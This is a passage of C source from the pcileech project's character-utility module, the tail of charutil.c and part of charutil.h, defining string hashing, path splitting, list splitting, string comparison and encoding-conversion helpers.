0, dwHash = 0; if(!usz) { return 0; } if(fUpper) { while(TRUE) { c = usz[i++]; if(!c) { return dwHash; } if(c >= 'a' && c <= 'z') { c += 'A' - 'a'; } dwHash = ((dwHash >> 13) | (dwHash << 19)) + c; } } else { while(TRUE) { c = usz[i++]; if(!c) { return dwHash; } dwHash = ((dwHash >> 13) | (dwHash << 19)) + c; } } } DWORD CharUtil_Hash32A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper) { LPSTR usz; DWORD dwHash = 0; BYTE pbBuffer[MAX_PATH]; if(!sz) { return 0; } if(CharUtil_IsAnsiA(sz)) { return CharUtil_Hash32U(sz, fUpper); } if(CharUtil_AtoU((LPSTR)sz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) { dwHash = CharUtil_Hash32U(usz, fUpper); if(pbBuffer != (PBYTE)usz) { LocalFree(usz); } } return dwHash; } DWORD CharUtil_Hash32W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper) { CHAR c; LPSTR usz; DWORD i = 0, dwHash = 0; BYTE pbBuffer[MAX_PATH]; PUSHORT pus = (PUSHORT)wsz; if(!wsz) { return 0; } if(CharUtil_IsAnsiW(wsz)) { while(TRUE) { c = (CHAR)pus[i++]; if(!c) { return dwHash; } if(fUpper && c >= 'a' && c <= 'z') { c += 'A' - 'a'; } dwHash = ((dwHash >> 13) | (dwHash << 19)) + c; } } if(CharUtil_WtoU((LPWSTR)wsz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) { dwHash = CharUtil_Hash32U(usz, fUpper); if(pbBuffer != (PBYTE)usz) { LocalFree(usz); } } return dwHash; } /* * Internal hash function for HashNameFs* and HashPathFs* functions. */ DWORD CharUtil_Internal_HashFs(_In_ LPSTR usz) { UCHAR c; DWORD i = 0, dwHash = 0; while((c = usz[i++])) { dwHash = ((dwHash >> 13) | (dwHash << 19)) + c; } return dwHash; } /* * Hash a name string in a way that is supported by the file system. * NB! this is not the same hash as the Windows registry uses. * -- usz/sz/wsz * -- iSuffix * -- return */ DWORD CharUtil_HashNameFsU(_In_ LPCSTR usz, _In_opt_ DWORD iSuffix) { CHAR uszFs[2*MAX_PATH]; if(!CharUtil_FixFsName(uszFs, sizeof(uszFs), usz, NULL, NULL, -1, iSuffix, TRUE)) { return 0; } return CharUtil_Internal_HashFs(uszFs); } DWORD CharUtil_HashNameFsA(_In_ LPCSTR sz, _In_opt_ DWORD iSuffix) { CHAR uszFs[2 * MAX_PATH]; if(!CharUtil_FixFsName(uszFs, sizeof(uszFs), NULL, sz, NULL, -1, iSuffix, TRUE)) { return 0; } return CharUtil_Internal_HashFs(uszFs); } DWORD CharUtil_HashNameFsW(_In_ LPCWSTR wsz, _In_opt_ DWORD iSuffix) { CHAR uszFs[2 * MAX_PATH]; if(!CharUtil_FixFsName(uszFs, sizeof(uszFs), NULL, NULL, wsz, -1, iSuffix, TRUE)) { return 0; } return CharUtil_Internal_HashFs(uszFs); } /* * Replace all characters in a string. * -- sz * -- chOld * -- chNew */ VOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew) { CHAR c; DWORD i = 0; while((c = sz[i++])) { if(c == chOld) { sz[i - 1] = chNew; } } } /* * Split the string usz into two at the last (back)slash which is removed. * Ex: usz: XXX/YYY/ZZZ/AAA -> uszPath: XXX/YYY/ZZZ + return: AAA * -- usz = utf-8 or ascii string. * -- uszPath = buffer to receive result. * -- cbuPath = byte length of uszPath buffer * -- return = last part (i.e. file name) of usz. */ LPSTR CharUtil_PathSplitLastEx(_In_ LPCSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath) { DWORD i, iSlash = -1; CHAR ch = -1; if(!cbuPath) { return NULL; } for(i = 0; ch && i < cbuPath; i++) { ch = usz[i]; uszPath[i] = ch; if((ch == '\\') || (ch == '/')) { iSlash = i; } } uszPath[cbuPath - 1] = 0; if(iSlash == (DWORD)-1) { return NULL; } uszPath[iSlash] = 0; return uszPath + iSlash + 1; } /* * Split the string usz into two at the last (back)slash which is removed. * If no slash is found, the input string is not modified and NULL is returned. * NB! The input string is modified in place. * Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA * -- usz = utf-8 or ascii string to be split/modified. * -- return = last part (i.e. file name) of usz. */ LPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz) { DWORD i = 0, iSlash = -1; CHAR ch = -1; while((ch = usz[i])) { if((ch == '\\') || (ch == '/')) { iSlash = i; } i++; } if(iSlash == (DWORD)-1) { return NULL; } usz[iSlash] = 0; return usz + iSlash + 1; } /* * Return the sub-string after the last (back)slash character in usz. * If no (back)slash is found original string is returned. The returned data * must not be free'd and is only valid as long as the usz parameter is valid. * -- usz = utf-8 or ascii string. * -- return */ LPCSTR CharUtil_PathSplitLast(_In_ LPCSTR usz) { LPCSTR uszResult = usz; UCHAR ch; DWORD i = 0; while(TRUE) { ch = usz[i++]; if(ch == '\0') { return uszResult; } if(ch == '\\' || ch == '/') { uszResult = usz + i; } } } /* * Return the sub-string after the first (back)slash character in usz. * If no (back)slash is found original string is returned. The returned data * must not be free'd and is only valid as long as the usz parameter is valid. * -- usz = utf-8 or ascii string. * -- return */ LPCSTR CharUtil_PathSplitNext(_In_ LPCSTR usz) { CHAR ch; DWORD i = 0; while(TRUE) { ch = usz[i++]; if(ch == '\0') { return usz + i - 1; } if((ch == '\\') || (ch == '/')) { return usz + i; } } } /* * Split a string into two at the first character. * The 1st string is returned in the pusz1 caller-allocated buffer. The * remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- ch = character to split at. * -- usz1 = buffer to receive result. * -- cbu1 = byte length of usz1 buffer * -- return = remainder of split string. */ LPCSTR CharUtil_SplitFirst(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1) { UCHAR c; DWORD i = 0; while((c = usz[i]) && (c != ch) && (i < cbu1 - 2)) { usz1[i++] = c; } usz1[i] = 0; return usz[i] ? &usz[i + 1] : ""; } /* * Split a string into two at the last character. * The 1st string is returned in the pusz1 caller-allocated buffer. The * remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- ch = character to split at. * -- usz1 = buffer to receive result. * -- cbu1 = byte length of usz1 buffer * -- return = remainder of split string. */ LPCSTR CharUtil_SplitLast(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1) { UCHAR c; DWORD p = cbu1 - 1, i = 0; while((c = usz[i]) && (i < cbu1 - 2)) { if(c == ch) { p = i; } usz1[i++] = c; } usz1[p] = 0; return (p == cbu1 - 1) ? "" : &usz[p + 1]; } /* * Split a string into a list of strings at the delimiter characters. * The function allocates neccessary memory for the result array and its values. * CALLER LocalFree: *ppuszArray * -- usz = utf-8/ascii string to split. * -- chDelimiter = character to split at. * -- pcArray = pointer to receive number of strings in result array. * -- ppuszArray = pointer to receive result array. * -- return = remainder of split string. */ _Success_(return) BOOL CharUtil_SplitList(_Inout_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR **ppuszArray) { UCHAR c; LPSTR *pszResult; DWORD cch = 0, cDelim = 1, cDelimResult = 0; *pcArray = 0; *ppuszArray = NULL; if(!usz) { return FALSE; } // count total length and # of delimiters: while((c = usz[cch])) { if(c == chDelimiter) { cDelim++; } cch++; } // allocate result array: if(!(pszResult = LocalAlloc(LMEM_ZEROINIT, cDelim * sizeof(LPSTR) + cch + 1))) { return FALSE; } memcpy(pszResult + cDelim, usz, cch); usz = (LPSTR)(pszResult + cDelim); // split string: pszResult[cDelimResult++] = usz; while((c = usz[0]) && (cDelimResult < cDelim)) { if(c == chDelimiter) { usz[0] = 0; pszResult[cDelimResult++] = usz + 1; } usz++; } // set out parameters: *ppuszArray = pszResult; *pcArray = cDelim; return TRUE; } /* * Split a "path" string into two at the first slash/backslash character. * The 1st string is returned in the pusz1 caller-allocated buffer. The * remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- usz1 = buffer to receive result. * -- cbu1 = byte length of usz1 buffer * -- return = remainder of split string. */ LPCSTR CharUtil_PathSplitFirst(_In_ LPCSTR usz, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1) { UCHAR c; DWORD i = 0; if(cbu1 < 3) { if(cbu1) { usz1[0] = 0; } return ""; } while((c = usz[i]) && (c != '\\') && (c != '/') && (i < cbu1 - 2)) { usz1[i++] = c; } usz1[i] = 0; return usz[i] ? &usz[i + 1] : ""; } /* * Internal hash function for HashPathFs* functions. */ QWORD CharUtil_HashPathFs_Internal(_In_ LPCSTR uszPathFs) { CHAR uszFirst[MAX_PATH]; DWORD dwHashName; QWORD qwHashTotal = 0; while(uszPathFs[0]) { uszPathFs = CharUtil_PathSplitFirst((LPSTR)uszPathFs, uszFirst, _countof(uszFirst)); dwHashName = CharUtil_HashNameFsU(uszFirst, 0); qwHashTotal = dwHashName + ((qwHashTotal >> 13) | (qwHashTotal << 51)); } return qwHashTotal; } /* * Hash a path string in a way that is supported by the file system. * NB! this is not the same hash as the Windows registry uses. * -- uszPath/szPath/wszPath * -- iSuffix * -- return */ QWORD CharUtil_HashPathFsU(_In_ LPCSTR uszPath) { return CharUtil_HashPathFs_Internal(uszPath); } QWORD CharUtil_HashPathFsA(_In_ LPCSTR szPath) { LPSTR uszPath; BYTE pbBuffer[2 * MAX_PATH]; if(!CharUtil_AtoU((LPSTR)szPath, -1, pbBuffer, sizeof(pbBuffer), &uszPath, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } return CharUtil_HashPathFs_Internal(uszPath); } QWORD CharUtil_HashPathFsW(_In_ LPCWSTR wszPath) { LPSTR uszPath; BYTE pbBuffer[2 * MAX_PATH]; if(!CharUtil_WtoU((LPWSTR)wszPath, -1, pbBuffer, sizeof(pbBuffer), &uszPath, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } return CharUtil_HashPathFs_Internal(uszPath); } /* * Compare multiple strings with a CharUtil_Str* compare function. * If at least one comparison is TRUE return TRUE - otherwise FALSE. * -- pfnStrCmp * -- usz1 * -- fCaseInsensitive * -- cStr * -- * ... * -- return */ BOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...) { va_list arglist; if(!pfnStrCmp) { return FALSE; } va_start(arglist, cStr); while(cStr) { if(pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) { va_end(arglist); return TRUE; } cStr--; } va_end(arglist); return FALSE; } /* * Compare multiple strings with a CharUtil_Str* compare function. * If at least one comparison is TRUE return TRUE - otherwise FALSE. * -- pfnStrCmp * -- usz1 * -- fCaseInsensitive * -- cStr * -- pStr * -- return */ BOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPCSTR *pStr) { if(!pfnStrCmp) { return FALSE; } while(cStr) { if(pfnStrCmp(usz1, pStr[--cStr], fCaseInsensitive)) { return TRUE; } } return FALSE; } /* * Compare multiple strings with a CharUtil_Str* compare function. * If all comparisons are TRUE return TRUE - otherwise FALSE. * -- pfnStrCmp * -- usz1 * -- fCaseInsensitive * -- cStr * -- * ... * -- return */ BOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPCSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...) { va_list arglist; if(!pfnStrCmp) { return FALSE; } va_start(arglist, cStr); while(cStr) { if(!pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) { va_end(arglist); return FALSE; } cStr--; } va_end(arglist); return TRUE; } /* * Checks if a string ends with a certain substring. * -- usz * -- uszEndsWith * -- fCaseInsensitive * -- return */ BOOL CharUtil_StrEndsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszEndsWith, _In_ BOOL fCaseInsensitive) { SIZE_T cch, cchEndsWith; if(!usz || !uszEndsWith) { return FALSE; } cch = strlen(usz); cchEndsWith = strlen(uszEndsWith); if(cch < cchEndsWith) { return FALSE; } return fCaseInsensitive ? (0 == _stricmp(usz + cch - cchEndsWith, uszEndsWith)) : (0 == strcmp(usz + cch - cchEndsWith, uszEndsWith)); } /* * Checks if a string starts with a certain substring. * -- usz * -- uszStartsWith * -- fCaseInsensitive * -- return */ BOOL CharUtil_StrStartsWith(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszStartsWith, _In_ BOOL fCaseInsensitive) { if(!usz || !uszStartsWith) { return FALSE; } if(fCaseInsensitive) { return (0 == _strnicmp(usz, uszStartsWith, strlen(uszStartsWith))); } else { return (0 == strncmp(usz, uszStartsWith, strlen(uszStartsWith))); } } /* * Checks if a string equals another string. * -- usz1 * -- usz2 * -- fCaseInsensitive * -- return */ BOOL CharUtil_StrEquals(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR usz2, _In_ BOOL fCaseInsensitive) { if(!usz || !usz2) { return FALSE; } if(fCaseInsensitive) { return (0 == _stricmp(usz, usz2)); } else { return (0 == strcmp(usz, usz2)); } } /* * Checks if a string contains a certain substring, if found return the pointer * to the 1st start of the substring in the original string. * -- usz * -- uszNeedle * -- fCaseInsensitive * -- return = pointer to the start of the substring in usz, or NULL if not found. */ LPCSTR CharUtil_StrContains(_In_opt_ LPCSTR usz, _In_opt_ LPCSTR uszSubString, _In_ BOOL fCaseInsensitive) { SIZE_T i; CHAR ch1, ch2; if(!usz || !uszSubString || !uszSubString[0]) { return (LPSTR)usz; } if(!fCaseInsensitive) { return strstr(usz, uszSubString); } while(usz[0]) { i = 0; while(TRUE) { ch1 = usz[i]; ch2 = uszSubString[i]; if(!ch2) { return usz; } if(!ch1) { return NULL; } if(ch1 >= 'a' && ch1 <= 'z') { ch1 += 'A' - 'a'; } if(ch2 >= 'a' && ch2 <= 'z') { ch2 += 'A' - 'a'; } if(ch1 == ch2) { i++; continue; } break; } usz++; } return NULL; } /* * Compare a wide-char string to a utf-8 string. * NB! only the first 2*MAX_PATH characters are compared. * -- wsz1 * -- usz2 * -- return = 0 if equals, -1/1 otherwise. */ int CharUtil_CmpWU(_In_opt_ LPWSTR wsz1, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive) { LPSTR usz1; BYTE pbBuffer1[2 * MAX_PATH]; if(!wsz1 && !usz2) { return 0; } if(!wsz1) { return -1; } if(!usz2) { return 1; } if(!CharUtil_WtoU(wsz1, -1, pbBuffer1, sizeof(pbBuffer1), &usz1, NULL, CHARUTIL_FLAG_TRUNCATE)) { return -1; } return fCaseInsensitive ? _stricmp(usz1, usz2) : strcmp(usz1, usz2); } /* * Compare two wide-char strings. * NB! only the first 2*MAX_PATH characters are compared. * -- wsz1 * -- wsz2 * -- return = 0 if equals, -1/1 otherwise. */ int CharUtil_CmpWW(_In_opt_ LPCWSTR wsz1, _In_opt_ LPCWSTR wsz2, _In_ BOOL fCaseInsensitive) { LPSTR usz1, usz2; BYTE pbBuffer1[2 * MAX_PATH], pbBuffer2[2 * MAX_PATH]; if(!wsz1 && !wsz2) { return 0; } if(!wsz1) { return -1; } if(!wsz2) { return 1; } if(!CharUtil_WtoU(wsz1, -1, pbBuffer1, sizeof(pbBuffer1), &usz1, NULL, CHARUTIL_FLAG_TRUNCATE)) { return -1; } if(!CharUtil_WtoU(wsz2, -1, pbBuffer2, sizeof(pbBuffer2), &usz2, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 1; } return fCaseInsensitive ? _stricmp(usz1, usz2) : strcmp(usz1, usz2); } ``` `pcileech/charutil.h`: ```h // charutil.h : definitions of various character/string utility functions. // // (c) Ulf Frisk, 2021-2026 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __CHARUTIL_H__ #define __CHARUTIL_H__ #ifdef _WIN32 #include typedef unsigned __int64 QWORD, *PQWORD; #else #include "oscompatibility.h" #endif /* _WIN32 */ #define CHARUTIL_FLAG_NONE 0x0000 #define CHARUTIL_FLAG_ALLOC 0x0001 #define CHARUTIL_FLAG_TRUNCATE 0x0002 #define CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR 0x0006 #define CHARUTIL_FLAG_STR_BUFONLY 0x0008 #define CHARUTIL_FLAG_BAD_UTF8CP_SOFTFAIL 0x0010 /* * Check whether a string is an ansi-string (only codepoints between 0-127). * -- sz * -- return */ BOOL CharUtil_IsAnsiA(_In_ LPCSTR sz); BOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz); BOOL CharUtil_IsAnsiFsA(_In_ LPCSTR sz); /* * Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string. * NB! wsz must NOT equal or overlap pbBuffer! * CALLER LOCALFREE (if *pusz != pbBuffer): *pusz * -- sz/wsz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pusz = if set to null: function calculate length only and return TRUE. result utf-8 string, either as (*pusz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbu = byte length (including terminating null) of utf-8 string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. * -- return */ _Success_(return) BOOL CharUtil_UtoU( _In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags ); _Success_(return) BOOL CharUtil_AtoU( _In_opt_ LPCSTR sz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags ); _Success_(return) BOOL CharUtil_WtoU( _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags ); /* * Convert UTF-8 string into a Windows Wide-Char string. * Function support usz == pbBuffer - usz will then become overwritten. * CALLER LOCALFREE (if *pusz != pbBuffer): *pusz * -- usz/wsz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pwsz = if set to null: function calculate length only and return TRUE. result wide-string, either as (*pwsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbw = byte length (including terminating null) of wide-char string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. * -- return */ _Success_(return) BOOL CharUtil_UtoW( _In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPWSTR *pwsz, _Out_opt_ PDWORD pcbw, _In_ DWORD flags ); _Success_(return) BOOL CharUtil_WtoW( _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPWSTR *pwsz, _Out_opt_ PDWORD pcbw, _In_ DWORD flags ); /* * Convert UTF-8, Ascii (0-255) or Wide (16-bit LE) string into a JSON string. * Function support sz/usz/wsz == pbBuffer - sz/usz/wsz will then become overwritten. * CALLER LOCALFREE (if *pjsz != pbBuffer): *pjsz * -- sz/usz/wsz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pjsz = if set to null: function calculate length only and return TRUE. result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbj = byte length (including terminating null) of utf-8 string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. * -- return */ _Success_(return) BOOL CharUtil_UtoJ( _In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags ); _Success_(return) BOOL CharUtil_AtoJ( _In_opt_ LPCSTR sz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags ); _Success_(return) BOOL CharUtil_WtoJ( _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags ); /* * Convert UTF-8 string into a CSV compatible string. * If source string contain either comma(,) space( ) doublequote(") it will be * treated as a CSV string and be put into double quotes at start/end. * Function support usz == pbBuffer - usz will then become overwritten. * CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz * -- usz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pvsz = if set to null: function calculate length only and return TRUE. result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbv = byte length (including terminating null) of utf-8 string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. * -- return */ _Success_(return) BOOL CharUtil_UtoCSV( _In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pvsz, _Out_opt_ PDWORD pcbv, _In_ DWORD flags); /* * Hash a string quickly using the ROT13 algorithm either to a 64-bit or 32-bit number. * -- sz/usz/wsz = the string to hash * -- fUpper * -- return */ DWORD CharUtil_Hash32U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper); DWORD CharUtil_Hash32A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper); DWORD CharUtil_Hash32W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper); QWORD CharUtil_Hash64U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper); QWORD CharUtil_Hash64A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper); QWORD CharUtil_Hash64W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper); /* * Hash a name string in a way that is supported by the file system. * NB! this is not the same hash as the Windows registry uses. * -- usz/sz/wsz * -- iSuffix * -- return */ DWORD CharUtil_HashNameFsU(_In_ LPCSTR usz, _In_opt_ DWORD iSuffix); DWORD CharUtil_HashNameFsA(_In_ LPCSTR sz, _In_opt_ DWORD iSuffix); DWORD CharUtil_HashNameFsW(_In_ LPCWSTR wsz, _In_opt_ DWORD iSuffix); /* * Hash a path string in a way that is supported by the file system. * NB! this is not the same hash as the Windows registry uses. * -- usz/sz/wsz * -- iSuffix * -- return */ QWORD CharUtil_HashPathFsU(_In_ LPCSTR usz); QWORD CharUtil_HashPathFsA(_In_ LPCSTR sz); QWORD CharUtil_HashPathFsW(_In_ LPCWSTR wsz); /* * Convert a string into a file name compatible string by replacing illegal * characters with '_'. Also optionally add a suffix between 1-9 and fix * upper-case letters. If insufficient space the result will be truncated. * -- uszDst * -- cbuDst * -- uszSrc * -- iSuffix * -- fUpper * -- return = number of bytes written (including terminating NULL). */ _Success_(return != 0) DWORD CharUtil_FixFsNameU( _Out_writes_(cbuDst) LPSTR uszDst, _In_ DWORD cbuDst, _In_ LPCSTR uszSrc, _In_opt_ DWORD iSuffix, _In_ BOOL fUpper ); /* * Convert a string into a file name compatible string by replacing illegal * characters with '_'. Also optionally add a suffix between 1-9 and fix * upper-case letters. One of [usz, sz, wsz] must be valid. * -- uszOut * -- cbuDst * -- usz * -- sz * -- wsz * -- cwsz * -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE * -- iSuffix * -- fUpper * -- return = number of bytes written (including terminating NULL). */ _Success_(return != 0) DWORD CharUtil_FixFsName( _Out_writes_(cbuDst) LPSTR uszOut, _In_ DWORD cbuDst, _In_opt_ LPCSTR usz, _In_opt_ LPCSTR sz, _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _In_opt_ DWORD iSuffix, _In_ BOOL fUpper ); /* * Replace illegal characters in a text with a character of the users choosing. * The result is returned as a utf-8 string. * -- uszOut * -- cbuDst * -- usz * -- sz * -- wsz * -- cwsz * -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE * -- chReplace = character to replace illegal characters with. * -- chAllowArray = array of 0(illegal char) or 1(allowed char) for each character in the 0-127 range. * -- return = number of bytes written (including terminating NULL). */ _Success_(return != 0) DWORD CharUtil_ReplaceMultiple(_Out_writes_(cbuDst) LPSTR uszOut, _In_ DWORD cbuDst, _In_opt_ LPCSTR usz, _In_opt_ LPCSTR sz, _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _In_ CHAR chAllowArray[128], _In_ CHAR chNew); /* * Replace all characters in a string. * -- sz * -- chOld * -- chNew */ VOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew); /* * Split a string into two at the first character. * The 1st string is returned in the pusz1 caller-allocated buffer. The * remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- ch = character to split at. * -- usz1 = buffer to receive result. * -- cbu1 = byte length of usz1 buffer * -- return = remainder of split string. */ LPCSTR CharUtil_SplitFirst(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1); /* * Split a string into two at the last character. * The 1st string is returned in the pusz1 caller-allocated buffer. The * remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- ch = character to split at. * -- usz1 = buffer to receive result. * -- cbu1 = byte length of usz1 buffer * -- return = remainder of split string. */ LPCSTR CharUtil_SplitLast(_In_ LPCSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1); /* * Split a string into a list of strings at the delimiter characters. * The function allocates neccessary memory for the result array and its values. * CALLER LocalFree: *ppuszArray * -- usz = utf-8/ascii string to split. * -- chDelimiter = character to split at. * -- pcArray = pointer to receive number of strings in result array. * -- ppuszArray = pointer to receive result array. * -- return = remainder of split string. */ _Success_(return) BOOL CharUtil_SplitList(_Inout_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR **ppuszArray); /* * Split a "path" string into two at the first slash/backslash character. * The 1st string is returned in the pusz1 caller-allocated buffer. The * remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- usz1 = buffer to receive result. * -- cbu1 = byte length of usz1 buffer * -- return = remainder of split string. */ LPCSTR CharUtil_PathSplitFirst(_In_ LPCSTR usz, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1); /* * Return the sub-string after the first (back)slash character in usz. * If no (back)slash is found original string is returned. The returned data * must not be free'd and is only valid as long as the usz parameter is valid. * -- usz = utf-8 or ascii string. * -- return */ LPCSTR CharUtil_PathSplitNext(_In_ LPCSTR usz); /* * Return the sub-string after the last (back)slash character in usz. * If no (back)slash is found original string is returned. The returned data * must not be free'd and is only valid as long as the usz parameter is valid. * -- usz = utf-8 or ascii string. * -- return */ LPCSTR CharUtil_PathSplitLast(_In_ LPCSTR usz); /* * Split the string usz into two at the last (back)slash which is removed. * If no slash is found, the input string is not modified and NULL is returned. * NB! The input string is modified in place. * Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA * -- usz = utf-8 or ascii string to be split/modified. * -- return = last part (i.e. file name) of usz. */ LPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz); /* * Split the string usz into two at the last (back)slash which is removed. * Ex: usz: XXX/YYY/ZZZ/AAA -> uszPath: XXX/YYY/ZZZ + return: AAA * -- usz = utf-8 or ascii string. * -- uszPath = buffer to receive result. * -- cbuPath = byte length of uszPath buffer * -- return = last part (i.e. file name) of usz. */ LPSTR CharUtil_PathSplitLastEx(_In_ LPCSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath); /* * Common typedef for a CharUtil_Str* comparison function. */ typedef BOOL(*CHARUTIL_STRCMP_PFN)(_In_opt_ LPCSTR usz1, _In_opt_ LPCSTR usz2, _In_ BOOL fCaseInsensitive); /* * Compare multiple strings with a CharUtil_Str* compare function. * If at least one 